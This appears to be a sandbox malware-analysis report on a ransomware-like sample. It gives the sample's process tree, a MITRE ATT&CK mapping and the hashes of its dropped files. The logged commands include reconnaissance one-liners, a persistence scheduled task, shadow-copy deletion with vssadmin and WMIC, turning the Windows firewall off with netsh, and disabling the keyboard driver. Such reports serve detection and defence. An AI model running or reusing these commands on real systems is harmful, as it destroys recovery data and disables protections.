PID:4248 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:2980
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2504 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:1208
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5404 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:2400
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2608 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:1728 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:4356
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3196 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:2752
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5424 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
PID:3188
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1216
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:5208
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:5848
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:720
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4756
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:828 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4484
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2208
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4584
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:5896
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1812
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:3216
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C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe1⤵PID:5228
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C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exeC:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe1⤵PID:5088
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:5052
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k swprv1⤵PID:1880
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C:\Windows\System32\sihclient.exeC:\Windows\System32\sihclient.exe /cv jvAnP7gkZkOvts37J2h7tg.0.21⤵PID:5208
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 21f667ef95d7ed01bd4e78429c31982cacb7faea235748a375adb6419c11fa6e
- MD5 604145bc33fae4aeda0223abd9a81668
- SHA1 b9e45df45eb31caba841fd678e14311d31682fe4
- SHA512 935ef8b2f99ba59350a2819b4b11ac61ec2b0f3c1b7cfc51c12c66cc4821d1d429779a4291a1b56583d42c7a6efb278f2f2e235b66a21b8fbaced34b2194e528
- SSDEEP 1536:82Rveo0zwn1+7cRMa3EJduEYDqBEVOsIWoqojXQQdGU4I13VxQd8E1e3A:8gvQzwnA81EHYDS75XQQoRIJVxQd8E1b
- TLSH T149632A334A23FCC5677F3D40F1543D821C883A678775A66CFBC90A9538A5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 c6a164faabb9896ca84e548eff3263239e079bb0df1a270bbb2a2ea5cdd43a9b
- MD5 b04bcc2e5e31ce16f07bf831eecdec0a
- SHA1 974479063afc2c5b4514f3625698bcb2c19a134b
- SHA512 a20a232552e07d8b05ffa9282a2ed21323d2163159fd3f18cc904942a6c7286bb06646f245e389ccb8787a98d2d632d09c6fc67b3d953d8648b900708c4c0f3f
- SSDEEP 1536:c2Rveo0zwn1+7cRMa3EJduEYDqBEVOsIWoqojXQQdGU4I13VxQd8E1e3b:cgvQzwnA81EHYDS75XQQoRIJVxQd8E1S
- TLSH T10D632A734A23FCC5677F3D40F1542D820C883A678775A66CFBC90A9538B5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 238B
- SHA256 ffd938325a0c7766d2761385f83af75825362c36cc474155f282fc091841587c
- MD5 b66b4a15eec1359d919836a16702fd37
- SHA1 e4f25d886dc10589f8c8bb14a315157322e24544
- SHA512 9943e3b50b78a021312711e4a041f799f9e1007bf963f9348e2944f4f98e942b166c291c2124426af5af6991623bfeafd129c660ad71af4c3f853f8101001194
- TLSH T1DDD0A78BB14DC6A90001123B81F3CE8CE5B548693B57BEB04AA5DD4E329088599F6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 239B
- SHA256 79cb846180103eb991072a88db8d67e6573e234f1a87aa8a653476cf0fd08a94
- MD5 30f71938e2d8bd4aac440c3fa12d5d43
- SHA1 c43311c3268d911deb11a66ea2c4baa87840a4d1
- SHA512 6d758d4c5471d499cd65680730f41981ecb3968bae614430b0682760b02396c9ea1d80511f1e8d9c8b14d4ee91ce941370e85140e27d3617d4fd6bac57e7d8c5
- TLSH T132D0A78BB14DC6A90001123B80F3CE8CE6E148693B57BE709AA5DD0E338088599F6543
- MD5 SHA1 SHA512 TLSH